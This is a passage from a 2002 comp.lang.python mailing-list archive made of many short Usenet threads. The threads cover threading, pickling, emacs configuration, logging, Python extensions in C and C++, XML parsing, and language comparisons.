Subject: multithreading References: Message-ID: <3CE9CD22.8586A96D@engcorp.com> David LeBlanc wrote (top-posting): > > Aahz wrote: > > David LeBlanc wrote: > > >Lock, Semaphore and friends mentioned in the pythondoc (2.2.1) aren't > > >atomic? If not, then they're misnamed since atomicity is a required > > >property of such operations. > > > > What Peter meant is that Queue is the only single atomic operation for > > passing data between threads. Lock & Semaphore are atomic, but they > > aren't by themselves sufficient for passing data. > > Although, of course, you can create any access managed datatype as long as > the primatives are there... At great risk of creating all kinds of difficulty like deadlocks if you are not very experienced and knowledgeable about such things. Queue is much, much safer for someone who isn't sure, which was the point of my earlier post. -Peter From mwh at python.net Thu May 9 06:44:55 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 9 May 2002 10:44:55 GMT Subject: no pickling code objects? References: <4vhjdugv3kfd0m4359lkqctmn25ia44cae@4ax.com> Message-ID: holger krekel writes: > just a comment: i need pickling of code objects. Anyone implementing > mobile network agents might be interested, also. Up until now > i just grab the source/byte code and send it over as a string. You can *marhsal* code objects easily enough (hey, that's what marshal was invented for!). But that obviously doesn't solve all the problems: > But the basic problem with pickling/unpickling code objects > is to transport the transitive closure of code objects: you need to > have the code objects which your pickled code objects > depends on. And next the code objects which these code > objects depend on ... Well, indeed. This might be another motivation for not pickling functions; the decisions get really hairy and basically impossible to guess accurately, so Python punts. [...] > Has anyone figured these issues out already? pyro? But there's a fair chance that your exact problem hasn't been solved before and you'll have to work out your exact requirements. Then you can start looking to see if any existing frameworks can get you off the ground quicker... Cheers, M. -- 7. It is easier to write an incorrect program than understand a correct one. -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html From fperez528 at yahoo.com Thu May 9 17:11:28 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 09 May 2002 15:11:28 -0600 Subject: Comments References: Message-ID: Huaiyu Zhu wrote: > Fernando P?rez wrote: >>Karl Pfl?sterer wrote: >> >>>> ... Is there a way to make emacs ignore lines that wouldn't be >>>> considered comments by the language when wrapping? >>> >>> I changed the value of `paragraph-start'. I did it like this: >>> >>> (add-hook 'python-mode-hook >>> (lambda () >>> (setq paragraph-start "[ \t\n\f#]"))) >>> >>> "[ \t\n\f]" is the default for this variable. >>> >> >>But this one was a fairly nagging one for me, so I _greatly_ appreciate >>your solution (I'm glad I stumled on this thread!) > > Does this really work for you? After I added this, M-q no longer considers > multiline comments as a single paragraph. It also wraps long comment lines > without adding new # signs. Maybe I have some other settings in .emacs that > are interfering with this? Yes, it works perfectly. Now I can have: def f(): """ bla.... long (multiline)""" # bla comments, long... and hit M-q in the commment and the docstring, and they both get independently lined up _without_ the surrounding code or eachother getting broken. Absolutely perfect! I used to constantly play the game of 'add whitespace above and below, hit M-q, delete whitespace'. So I _really_ like this, and the solution poster has earned my eternal gratitude ;) Cheers, f. From andrew at acooke.org Wed May 8 17:13:56 2002 From: andrew at acooke.org (andrew cooke) Date: 8 May 2002 14:13:56 -0700 Subject: XML (XHTML) character entities and PxXml References: Message-ID: loewis at informatik.hu-berlin.de (Martin v. L?wis wrote in message news:... > andrew at acooke.org (andrew cooke) writes: > > > > That is supposed to work; you'll need to provide details to analyse > > > what went wrong. > [...] > > Now at work, here are the details: > > I see. That turns out to be a problem in PyXML; please try the > attached patch (to expatreader). [...] Great - thanks! I can't try it now (about to give a demo to the client), but will give it a go tomorrow. Cheers, Andrew From marklists at mceahern.com Fri May 10 10:58:42 2002 From: marklists at mceahern.com (Mark McEahern) Date: Fri, 10 May 2002 09:58:42 -0500 Subject: Error Log In-Reply-To: Message-ID: [Billy Ng] > I need to write a error log module that append the error line into a log > file every time an exception is thrown. Would anybody please > give me input for how to do it in pytohn, thanks! There's a PEP for adding this to Python's standard library: http://www.python.org/peps/pep-0282.html Also, see this: http://www.red-dove.com/python_logging.html Cheers, // mark From mhammond at skippinet.com.au Fri May 24 11:24:20 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Fri, 24 May 2002 15:24:20 GMT Subject: Create pywintypes.Time from an mx.DateTime.DateTime References: <484f9bc8.0205240444.7193f90d@posting.google.com> Message-ID: <3CEE5B7D.7080308@skippinet.com.au> Mike Weiss wrote: > I'm *very* new to python (C++ programmer) so please bear with me if > what > I'm asking is completely stupid. > I'm using both mxDateTime and the win32 extensions in python v2.2. > > I'm trying to create a pywintypes.Time (a window's COM date (right?)) > FROM > an mx.DateTime object. I can go the other way (pywintypes TO > mxDateTime). > > mx.DateTime.COMDate() returns a float, which I can't seem to use to > initalize a pywintypes.Time object with. Pywintypes.Time only seems to > be > able to be created from the integer value used by the basic "time" > module in standard python. It can also be initialized with a standard Python "time tuple", as used by the time module. I am not sure of the semantics of the mx objects, but I am sure they would allow you to get such a tuple very simply. Mark. From cbbrowne at acm.org Mon May 6 01:13:53 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Mon, 06 May 2002 01:13:53 -0400 Subject: Python vs. Perl, which is better to learn? References: <3CD60E05.D9D8C1A6@engcorp.com> Message-ID: In an attempt to throw the authorities off his trail, Peter Hansen transmitted: > Chris wrote: >> >> In article , >> gtaylor at lowebroadway.com (Garry Taylor) wrote: >> >> > I use Perl at work day in day out, and use Python for my own personal >> > stuff, I would say that Python is better for pretty much everything, >> > particularly larger programs, where it's more structured syntax makes >> > code easier to read. I quite like Perl for CGI scripting, and little >> > 1-page scripts, but would never contemplate using it for a big >> > project. >> >> I would have agreed a few months ago. However, once you understand how >> to write modules in Perl, and how Perl's take on OO works, it becomes >> much easier to create large projects. > > It's not understanding how to write the modules that matters: > it's understanding how to read them. > > Perl is relatively unreadable, whereas Python is eminently readable. > > Any company investing a large amount in large Perl applications is > just asking for trouble, although their employees will have excellent > job security for as long as the company can survive... Overuse of regexes can certainly Lead To Evil. Outside of that, I'd suggest that a lot of the problem comes from Perl having been a "hot, in-language" attracting a lot of bad programmers. "If Ada became the hot, in-language you would see a lot more bad code in Ada." -- Thaddeus L. Olczyk , comp.lang.C++ Substitute Python for Ada and it still remains truth... Then consider the FORTRAN comments: "I don't know why, but first C programs tend to look a lot worse than first programs in any other language (maybe except for FORTRAN, but then I suspect all FORTRAN programs look like `firsts')" -- Olaf Kirch An engineer is someone who does list processing in FORTRAN. The old "Real Programmers Don't Write Pascal" essay has the comment that "Real Programmers can write FORTRAN code in any language." I've seen similar happen where COBOL programmers wrote COBOL code in whatever new language they encountered. A company investing a large amount in applications being developed by hapless programmers is just asking for trouble irrespective of what language they use. -- (concatenate 'string "chris" "@cbbrowne.com") http://www3.sympatico.ca/cbbrowne/ LOGO is not a language. It's a way to simulate 'skid marks' made by turtles with serious bowel control problems. From rob at zoism.org Mon May 6 07:05:18 2002 From: rob at zoism.org (Rob Brown-Bayliss) Date: 06 May 2002 23:05:18 +1200 Subject: streaming audio In-Reply-To: <3CD60D35.7939A2EB@engcorp.com> References: <3CD60D35.7939A2EB@engcorp.com> Message-ID: <1020683119.24004.6.camel@orion.zoism.org> On Mon, 2002-05-06 at 16:57, Peter Hansen wrote: > > I want to create an app to stream audio around a LAN and really have > > know Idea on where to start. > > Is it fair to assume you are planning to do this in Python? Yes, thats more than Fair. What I want is to create a digital audio system for my home rather than pay a truck load of money for what is essentially a hard disk and a lcd screen. For example I recently priced a system here in New Zealand at approx $4000 per room plus the main control unit which is $40,000 (yes forty) for 150gig drive and only 8 outputs, that is only 8 rooms can be run from it, do the math: $72,000, or in US dollars US$32,400 I figure I can stor all my CDs in full quality (not mp3) and set it up for way less than this, but so far all I see avaialbe are mp3 servers... -- R Brown-Bayliss ---====<=>=====--- http://zoism.org From tismer at tismer.com Thu May 23 13:29:21 2002 From: tismer at tismer.com (Christian Tismer) Date: Thu, 23 May 2002 10:29:21 -0700 Subject: 2**HUGENUMBER Why not optimise it? References: Message-ID: <3CED26F1.4000506@tismer.com> Michael Hudson wrote: > "Mike C. Fletcher" writes: > > >>Maybe I'll just give up on trying to interest people in Python >>optimisation challenges. The good-old days of idle speculation and >>optimisation are dead. Time to stop living in the past. Idea >>dropped, back to boring GUI work. > > > Do you feel like implementing Karatsuba multiplication in > longobject.c? That might actually be some use... Although this was on the table two or three years ago, and dissed as well, although cheap to implement. -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From kwokng at earthlink.net Fri May 10 14:52:22 2002 From: kwokng at earthlink.net (Billy Ng) Date: Fri, 10 May 2002 18:52:22 GMT Subject: Error Log References: Message-ID: I hear you. I'll give it a shot, thanks! Billy Ng "Steve Holden" wrote in message news:J%TC8.62028$m26.45083 at atlpnn01.usenetserver.com... > "Billy Ng" wrote ... > > Good stuff! but the debian linux do not have this module to downloand. > > > > Billy Ng > > > > "Mark McEahern" wrote in message > > news:mailman.1021042877.24965.python-list at python.org... > > > [Billy Ng] > > > > I need to write a error log module that append the error line into a > log > > > > file every time an exception is thrown. Would anybody please > > > > give me input for how to do it in pytohn, thanks! > > > > > > There's a PEP for adding this to Python's standard library: > > > > > > http://www.python.org/peps/pep-0282.html > > > > > > Also, see this: > > > > > > http://www.red-dove.com/python_logging.html > > > > > > Cheers, > > > > > > // mark > > > > > Billy, you're just going to have to be brave and install something that > Debian haven't packaged for you! > > From the web page Mark linked to: """It is packaged as a single file, > logging.py. You just need to import logging and you're ready to go.""" > > It really won't be difficult, and you can ship it with your program if you > are planning to distribute something. > > regards > Steve > -- > ----------------------------------------------------------------------- > Steve Holden http://www.holdenweb.com/ > Python Web Programming http://pydish.holdenweb.com/pwp/ > ----------------------------------------------------------------------- > > > > > > From dkuhlman at rexx.com Fri May 10 17:28:46 2002 From: dkuhlman at rexx.com (Dave Kuhlman) Date: Fri, 10 May 2002 14:28:46 -0700 Subject: Python Enterprise Objects References: Message-ID: Ian Bicking wrote: [snip] > Of course, the very use of the word "enterprise" implies that our > insular joy may mean little that cold, barren land. That's why I > try not to touch that stuff -- life is more fun elsewhere. > > Ian "Enterprise" means different things to different people. Focus on the "S" in SME (small to medium enterprise) and I can imagine the need for a reasonably light-weight toolkit for implementing Web services that can be customized easily. Small businesses such as dentist offices, boutique (and non-franchise) stores, etc might provide a target for Python and an easy to adapt toolkit whereas hiring a crew of Java programmers and purchasing a large platform (e.g. Websphere or WebMethods) might be less than attractive. Python already has many of the pieces of this toolkit (XML tools, app servers such as Webware and Twisted and SkunkWeb, etc). It will be gaining more of the needed infrastructure over the next year or so. - Dave -- Dave Kuhlman dkuhlman at rexx.com http://www.rexx.com/~dkuhlman From gotcha at swing.be Thu May 30 10:25:24 2002 From: gotcha at swing.be (Godefroid Chapelle) Date: 30 May 2002 07:25:24 -0700 Subject: EuroPython : Interview of Paul Dubois (PyNumeric) Message-ID: <3bf37ee3.0205300625.c5847a9@posting.google.com> Please take a look at the interview of Paul Dubois published by www.europython.org : http://europython.zope.nl/interviews/entries/paul_dubois For those who may not know, EuroPython 2002 will be held in Charleroi, Belgium on June 26-28. People like Guido van Rossum, Eric S Raymond or Jim Fulton will be there to speak and share.... It is still time to get the early-bird fee : until May 31st From robin at execulink.com Tue May 7 10:26:04 2002 From: robin at execulink.com (robin at execulink.com) Date: Tue, 07 May 2002 10:26:04 -0400 Subject: HTTP or alternative upload for large files Message-ID: <0gofdukc6c10c0lg2t6qcadov2mqt2a7nu@4ax.com> This may not be specifically a Python problem, so apologies in advance. I am attempting to upload large files (think 500 MB) through a web form using a Python CGI process. It is easy enough for my program to get the file handle of the user-submitted file, and then write this out in chunks to the server. But there are two major problems with this. 1. Apache first uploads the entire file itself, consuming all available memory, before handing over control to the CGI process. Why it does this is beyond me, since I am not hip to server internals. Apache could at least use a restricted amount of memory to do the upload, but this, unfortunately, is not the case. Bad things happen when memory gets low. 2. The HTTP connection times out, so the entire file upload is lost. I imagine the answer to this problem is "don't use HTTP", but I do need a seemless solution from a web application. Any pointers? I am sure this is a know problem. Hopefully there's a known solution! -- robin, media artist and python hacker From reply at in_newsgroup.tks Fri May 17 15:39:59 2002 From: reply at in_newsgroup.tks (Scrumpy) Date: 17 May 2002 19:39:59 GMT Subject: Ruby for Newbie?! Message-ID: I want to learn a programming language. I'm primarily looking for a langauge to develop web apps and cgi. I would also like to create GUI apps and perhaps use it for some network admin tasks. I'll create apps on, and for, Linux and MS Windows. I'd narrowed down my choice to Python until I came across Ruby ;-) Is there currently a Ruby equivalent of the following Python related tools, modules, libraries etc.: 1/ Tools to create standalone apps to ease distribution i.e. no need to have Ruby installed or to ensure no conflicts between the version of Ruby used to develop the app and a different installed version. Python: Installer & py2exe. RUBY: ? 2/ IDE. Python: Boa Constructor, Pythonwin, IDLE. RUBY: Practical Ruby (basic IDE for Windows). Is there a Linux IDE for Ruby? 3/ GUI toolkits/libraries. My preference is towards using wxWindows. Python: wxPython, PyQt, PyGTK. RUBY: ? 4/ Web platforms/frameworks etc. Python: mod_snake, mod_python, Webware. RUBY: mod_ruby - any comments about it's stability/suitability for web app development? Any Ruby equivalent to Webware and it's PHP like (psp) function? 5/ One file Interpreter i.e. to use on a shared hosting co.'s server that doesn't have Ruby installed. Python: mxCGIPython (uses the freeze tool). RUBY: ? Is there an 'offical' Ruby binary for Windows? It looks like there are three unofficial ones created using three different compilers! Finally, is there a good Ruby book aimed at newbie programmers (not existing programmers new to Ruby)? Thanks, Scrumpy :) NOTE: I made a recent post on this newsgroup saying that I was selecting Python as my 1st language and that I hadn't received any response to posts I had made to comp.lang.ruby. Ironically, I received a post from a Ruby user who said he never saw my posts (faulty ISP or newsgroup!) so I'm reposting in both newsgroups. Apologizes to Pythoners. From dalke at dalkescientific.com Sat May 11 05:16:47 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Sat, 11 May 2002 03:16:47 -0600 Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> Message-ID: Andrew Dalke wrote: >As to the second, here's an (untested) example > >class FiveAtATime: ... >You can see, it's rather more complicated than using yield. In light of Alex's much more succinct version, let me add the only advantage to mine is that it works with 1.5 and even earlier while also supporting newer versions which have iter(). Or at least, that's my excuse. :) Andrew dalke at dalkescientific.com From shredwheat at attbi.com Sun May 26 12:13:36 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Sun, 26 May 2002 16:13:36 GMT Subject: len() and __len__ References: Message-ID: <3CF10970.1010304@attbi.com> Artur Siekielski wrote: > Is there any difference between len(a) and a.__len__() in Python 2.2? in certain situations there is no difference, but using len() is preferred for a couple reasons. first, it's not recommended to go calling the __methods__ yourself, they are meant to be used by other parts of python. len() will work on any type of sequence object (lists, tuples, and all). __len__ will only work on class instances with a __len__ method. len() will return a more appropriate exception on objects without length. From msoulier at nortelnetworks.com_.nospam Fri May 31 21:23:42 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 1 Jun 2002 01:23:42 GMT Subject: Why no open(f, "w").write()? References: <20020531225504.248c92ce.larooy@xtar.co.nz> Message-ID: On Fri, 31 May 2002 22:55:04 +1200, John La Rooy wrote: > > Do you explicitly del all your objects too, or wait for them to disappear > when they go out of scope? I only delete them in C++. ;-) Your point is taken, but we must draw the line somewhere. If you don't care when the file is closed, as long as it is, then implicit should be fine. If however you do care when it is closed, then explicit should be better, no? Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From anthony at interlink.com.au Mon May 6 10:51:43 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Tue, 07 May 2002 00:51:43 +1000 Subject: streaming audio In-Reply-To: Message from brueckd@tbye.com of "Mon, 06 May 2002 07:30:14 MST." Message-ID: <200205061451.g46Ephe11259@localhost.localdomain> >>> brueckd at tbye.com wrote > If possible, avoid actual streaming protocols as they are quite convoluted > and proprietary. Again, I point to RTP. And most applications (RealPlayer, Quicktime, others) use RTSP as the control protocol for RTP-based applications. Ok, so last time I looked Real were abusing the hell out of RTSP and doing stuff in a non-compliant way, but hey, at least they're trying. Quicktime, tho, was using RTSP/RTP correctly, AFAIR. Anthony -- Anthony Baxter It's never too late to have a happy childhood. From nospam at nospam.nospam Sun May 12 15:49:50 2002 From: nospam at nospam.nospam (Max) Date: Sun, 12 May 2002 19:49:50 GMT Subject: os.spawnl problem under windows... References: Message-ID: "Alex Martelli" ha scritto nel messaggio news:V2vD8.33126$CN3.1136941 at news2.tin.it... > Max wrote: > ... > >>>>os.spawnl(os.P_WAIT, 'c:\windows\notepad.exe', 'c:\windows\notepad.exe') > > As these are plain strings, each \n means a single newline characters. > > Double up every backslash or use raw string literals > r'c:\windows\notepad.exe' in which backslash-escapes aren't expanded. > > In most cases you can also use normal / slashes instead of back \ ones, > but I don't recall if os.spawnl is among those 'most cases'. > > Thanks.__VERY__ much!!! :) However (i tried...) the normal / slash works even with spawnl, i suppose i will start using slashes instead of back-slashes... :) From uwe at rocksport.de Sun May 12 17:20:43 2002 From: uwe at rocksport.de (Uwe Schmitt) Date: 12 May 2002 21:20:43 GMT Subject: Python in ASP pages References: Message-ID: Mac Martine wrote: | Hi- | | - I am on Windows XP. | | -I have Python2.2 installed (I think this is different from the | ActiveState version...i'm new to this, so I'm unclear) | afaik the activestate distribution is the only one which configures the iis so that python is recognized... | -So, I am trying to run Python code in my ASP pages. I managed to get | .py files to run in my browser, but I can't get Python code to run in my | asp pages. | | I'm trying: | <%@ Language = Python %> try <%@ Language=Python %> without the blanks above... maybe it helps.. greetings, uwe. -- Dr. rer. nat. Uwe Schmitt ICQ# 159647634 Uwe.Schmitt at num.uni-sb.de Universitaet des Saarlandes Angewandte Mathematik Building 36.1 Room 4.17 PO-Box 151150 D-66041 Saarbruecken Mobile:0177/6806587 Fax:+49(0)681/302-4435 Office:+49(0)681/302-2468 From mtk at u.washington.edu Sat May 4 19:35:37 2002 From: mtk at u.washington.edu (Totte Karlsson) Date: Sat, 4 May 2002 16:35:37 -0700 Subject: python and C++? Message-ID: Hi, Is there any good texts about how to interface to a windows dll with python? I'm a total beginner of python. I'm a C++ programmer and what I want is to make a DLL and interface to that one with python. Say for example, I have a C++ class, called mtkMatrix. Is it then possible to allocate a mtkMatrix in a python script and acess its class member functions? thanks /totte From tim.one at comcast.net Fri May 24 13:54:17 2002 From: tim.one at comcast.net (Tim Peters) Date: Fri, 24 May 2002 13:54:17 -0400 Subject: Threading unfairness In-Reply-To: <20020523102354.15c67b98.logiplexsoftware@earthlink.net> Message-ID: [Cliff Wells] > I wonder if sys.setcheckinterval() would help. I've seen it in > the docs but haven't tested it myself. Try it. It can make a significant difference for better or worse, depending on your app. For example, Zope has threads that want to get a lot done per timeslice, and the default check interval is too low for its needs; Zope boosts it to 120. That's probably the wrong direction to go if you're worried about GUI responsiveness, though. From rnd at onego.ru Tue May 21 04:53:58 2002 From: rnd at onego.ru (Roman Suzi) Date: Tue, 21 May 2002 12:53:58 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: Message-ID: On Tue, 21 May 2002, Roman Suzi wrote: > > Maybe we try to use quantitative arguments? Are there any suggestions for > small benchmarks: we can use set-0.2 to see real efficiency (or lack of), > etc. > > Any nice/classic set-using problems around? My input: ----------------------------------------------------- #!/usr/bin/env python2.2 from set import set """Making graph from adjency matrix""" adjency = [ [0, 0, 1, 1, 0, 0, 1], [1, 0, 0, 1, 0, 0, 1], [0, 1, 1, 0, 0, 0, 1], [1, 0, 1, 1, 0, 0, 0], [0, 0, 1, 1, 1, 0, 1], [0, 0, 1, 1, 0, 1, 1], [0, 1, 1, 1, 0, 0, 0], ] V = set(range(len(adjency))) E = set([(i, j) for i in V for j in V if adjency[i][j]]) G = (V, E) print G --------------------------------------------------------- Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From tdelaney at avaya.com Thu May 9 01:11:41 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 9 May 2002 15:11:41 +1000 Subject: NEVER MIND! Message-ID: > From: Peter Hansen [mailto:peter at engcorp.com] > > It's no shame to be let down by Microsoft software. It's not the shame of being let down by Microsoft software - it's the shame of *not knowing the capabilities of my tools*. Then again ... I cheer myself up by realising that no one can reliably state what a Microsoft program is capable of ... Tim Delaney From jepler at unpythonic.net Fri May 24 15:07:44 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Fri, 24 May 2002 14:07:44 -0500 Subject: How Are Unlimited Precision Integers Accomplished? In-Reply-To: <3CEE8DD0.6010006@destiny.com> References: <3CEE8DD0.6010006@destiny.com> Message-ID: <20020524140744.L17765@unpythonic.net> On Fri, May 24, 2002 at 03:00:32PM -0400, Michael Chermside wrote: > A.M. Kuchling writes: > >To really break things, I think this should really be something like: > > > >>>>exp = 2**31L - 1 > >>>>exp > >2147483647L > >>>>exp = exp * 15 > >>>>exp > >32212254705L > >>>>1 << exp > >Traceback (most recent call last): > > File "", line 1, in ? > >OverflowError: long int too large to convert to int > > Yes, but that's just because << is defined to take only an int on the > right-hand-side, not a number. It's not a limit to the size of a Long. > > >Also note that Python can't print the value of your 'big' variable; it > >gets a MemoryError. > > Yes, I noticed that. But I can still do arithmatic with it. > > Now it's no big deal if Longs are actually limited to some absurdly big > value rather than being of truely unlimited size so long as you are > running on a machine with infinite memory. But what I don't get is why > they AREN'T limited (or appear not to be) given the way they are coded. You computed a number with (2**31 - 1) + 15 bits, not (2**31 - 1) * 15 bits. Your second shift was incorrect. Try computing math.log(big)/math.log(2) to find the actual number of bits in your 'big' result. I think that this loop would compute the first long that cannot be represented: i = 1L exp = 2**31L - 1 for j in range(15): i <<= exp Once you tie the size of the machine's memory (eg 32 bit address space) with the size of its 'long' (eg 32 bits) you realize that a Python long with (2**31-1) bits would occupy (2**32-2) bytes, and, well, you won't have much room left for the python interpreter. I don't recall from your original snippet whether the type used to store the length was an int or a long, but in any case a tweak to use "long" would let Python Longs take up the whole address space on any LP64 machine (64-bit longs and pointers) Jeff From neal at metaslash.com Thu May 16 14:21:33 2002 From: neal at metaslash.com (Neal Norwitz) Date: Thu, 16 May 2002 14:21:33 -0400 Subject: pychecker question References: Message-ID: <3CE3F8AD.598C70A0@metaslash.com> Roman Suzi wrote: > > On Thu, 16 May 2002, Neal Norwitz wrote: > > >On Mon, 13 May 2002 09:29:46 -0400, Roman Suzi wrote: > >> I am pychecking my code and am getting lots of: > >> > >> stable.py:210: Variable (path) used before being set > >> > >> These are caused by from-import statements inside functions, > >> schematically: > >> > >> def f(x): > >> from m import y > >> return y(x) > >> > >> Is it really considered bad to use from-import inside function > >> definition? (I did it because I wanted to state clearly which functions > > > >I don't think it is particularly bad. It could be a bug in pychecker. > >Which version of pychecker & python? > > python 1.5.2 (same with 2.1, IIRC) > pychecker-0.7.5 Wow, that's almost a year old! Things have changed a bit since then. :-) I believe the problem is fixed in the current version--0.8.10. I will probably release a new version soon. The new version fixes a few bugs and adds deprecation warnings, as well as using string exceptions and defining True/False. > >> Another question. Is there any front-end to pychecker to show code in > >> proper context and an ability to silence certain warnings just like I do > >> in ispell if I consider some word correct? > > > >There is a simple GUI which isn't documented: pychecker/options.py. But > >you are probably much better off with an IDE, emacs, boa, or wingide. > >(I've only used emacs.) > > pychecking from Emacs? I can't find anything under C-h b > in python-mode... Barry added this recently to python mode, so you'll have to wait a bit (or get from CVS), but M-x compile works. Then you can do 'pychecker *.py' for the command (or whatever you want). The warnings will come up and you can do C-x ` to move to the warnings. > >There are many ways to silence warnings: using __pychecker__ in your > >code, .pycheckrc file, or the command line all work. Probably the best > >way is .pycheckrc. There is a sample one in the distribution (pycheckrc). > > Can't locate it on my machine... The file is not in the rpms, you can get it here: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/pychecker/pychecker/pycheckrc?rev=HEAD&content-type=text/plain If you want the file from version 0.7.5, change HEAD -> v0_7_5 Neal From ngcontact at varco.ch Mon May 27 10:40:51 2002 From: ngcontact at varco.ch (Steven Varco) Date: Mon, 27 May 2002 16:40:51 +0200 Subject: Python XML parsing example Message-ID: Hi there! I'm looking for an example in python to parse a XML file. For the first it would be enough to have a small working example, that parses an XML file with an XSL template an look for speciefig "Blocks", for each block, it should create a new XML File. Here is an example of input file and output: ~~~~~~input.xml~~~~~~ // Block 1 DLG 82015 4711 4712 // Block 2 DLG 82015 4713 4714 ~~~~~~~~~~~~~~~~~ There are 2 Blocks (COMMAND) and therfore, there would be 2 output files: ~~~~~~output_1.xml~~~~~~ 82015 2 end_DLG#2 4711 1 4712 1 ~~~~~~~~~~~~~~~~~~~~ ~~~~~~output_2.xml~~~~~~ 82015 2 end_DLG#2 4713 1 4714 1 ~~~~~~~~~~~~~~~~~~~~ Does anyone have a small example how to realize this with the SAX classes, or otherways in python? Thanks in advance, /steven From andrew.gregory at npl.co.uk Mon May 27 12:28:45 2002 From: andrew.gregory at npl.co.uk (Andrew Gregory) Date: 27 May 2002 09:28:45 -0700 Subject: Passing complex numbers into C++ Message-ID: <2830c89c.0205270828.ea3406@posting.google.com> I am trying to produce a bit of code to illustrate how complex numbers can be passed to / from C++ (BCC5.5). I'm new to this, and finding it hard going. The following bit of code compiles to complx.pyd - which imports into python ok, but if I use the csqr() function it causes a crash. If anyone can tell me why I would be grateful, Andrew. / Example hand-coded C++ interface to Python #include #include typedef complex dcomplex; // **** Function (illustrative) **** Py_complex csqr(Py_complex r) { static Py_complex P; dcomplex t = dcomplex(r.real, r.imag); t = t*t; P.real = real(t); P.imag = imag(t); return P; }; // **** Wrapper **** PyObject *wrap_csqr(PyObject *self, PyObject *args) { Py_complex r, result; // r = new Py_complex; if (!PyArg_ParseTuple(args,"D:csqr", &r)) return NULL; //result = r; return Py_BuildValue("D",&r); }; static PyMethodDef exampleMethods[] = { { "csqr", wrap_csqr, 1 }, {NULL, NULL} }; // Must use this for C++ #ifdef __cplusplus extern "C" { #endif void initcomplx() { PyObject *m; m = Py_InitModule("complx",exampleMethods); }; #ifdef __cplusplus } #endif From kseehof at neuralintegrator.com Thu May 2 13:37:55 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Thu, 02 May 2002 10:37:55 -0700 Subject: Unpacking a python list in C? In-Reply-To: <3CD16F64.F2146F70@wag.caltech.edu> Message-ID: > I need some help with extending python in C. I want to call a function > of a list from python: > > answer = my_function(my_list) > > where my_function is a function, and my_list is a python list of floats. > I want my_function to be a C function, and want to extract my_list into > an integer length and a double * pointing to the values. I spent some > time searching through the extension guide in the docs, but either this > isn't there or I missed the section in which it is discussed. I also > flipped through a few of my python books without luck. > > Could some kind soul take pity on me and tell me how to do this? Thanks > in advance... > > Rick Here's some real code that's pretty close to what you want. You can use PyList_* instead of PySequence_* if speed is more important than flexibility (PySequence works with any sequence object). This example is a little different than what you requested (it's a working python extension function). But it does show how to iterate a python list. ///////////////////////// // syntax: obj = manifold([seq]) // returns: new manifold object // // Creates a manifold object, and initializes with sequence static PyObject *module_manifold(PyObject *self, PyObject *args) { PyObject *seq = NULL; if (!PyArg_ParseTuple(args, "|O", &seq)) return NULL; manifold__object *k = manifold__new(); if (seq) { for (int i=0; iroot, obj); } } return (PyObject *)k; } What you want looks something like this (untested code): double * my_function(PyObject *pylist, int *plength) { double *array; int i; *plength = PyList_Size(pylist); array = new double[*plength]; for (i=0; i<*plength; i++) { array[i] = PyFloat_AsDouble(PyList_GetItem(pylist, i)); } /* caller owns array */ return array; } From phd at phd.pp.ru Sat May 18 05:08:46 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sat, 18 May 2002 13:08:46 +0400 Subject: How do you code in Python ??? In-Reply-To: <20020518090225.GA991@lilith.my-fqdn.de>; from gh_pythonlist@gmx.de on Sat, May 18, 2002 at 11:02:26AM +0200 References: <409a56e2.0205170047.429beb44@posting.google.com> <2_7F8.143579$o66.425118@news-server.bigpond.net.au> <3CE58D4A.AA521EA1@engcorp.com> <20020518114633.B8164@phd.pp.ru> <20020518090225.GA991@lilith.my-fqdn.de> Message-ID: <20020518130846.K8164@phd.pp.ru> On Sat, May 18, 2002 at 11:02:26AM +0200, Gerhard H?ring wrote: > * Oleg Broytmann [2002-05-18 11:46 +0400]: > > On Fri, May 17, 2002 at 07:07:54PM -0400, Peter Hansen wrote: > > Hungarian notation is bad. > > (Another sign of it is that M$ uses it :) > > Are you sure that they eat their own shit? They don't for their version I haven't looked into their code for few years :) > control software, for example. Aha, so even they stopped using it! Well... Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From ods at fep.ru Fri May 17 12:13:11 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Fri, 17 May 2002 20:13:11 +0400 (MSD) Subject: popen(2) wierdness - help! In-Reply-To: <477fb805.0205170759.1deca84a@posting.google.com> Message-ID: On 17 May 2002, professor ned wrote: pn> #!/usr/local/bin/python pn> pn> import os pn> pn> cmd = "cat -" pn> stuff = "Hello, hello, hello...\n" pn> pn> writeHandle = os.popen( cmd, 'w') pn> print "writeHandle is %s" % writeHandle pn> print "stuff is %s" % stuff pn> pn> writeHandle.write( stuff ) pn> writeHandle.close() pn> pn> writeHandle, readHandle = os.popen2( cmd ) pn> pn> print "\nwriteHandle is %s " % writeHandle pn> print "readHandle is %s " % readHandle pn> print "stuff is %s " % stuff pn> pn> writeHandle.write( stuff ) print readHandle.read() pn> writeHandle.close() pn> readHandle.close() [...] pn> [ned at 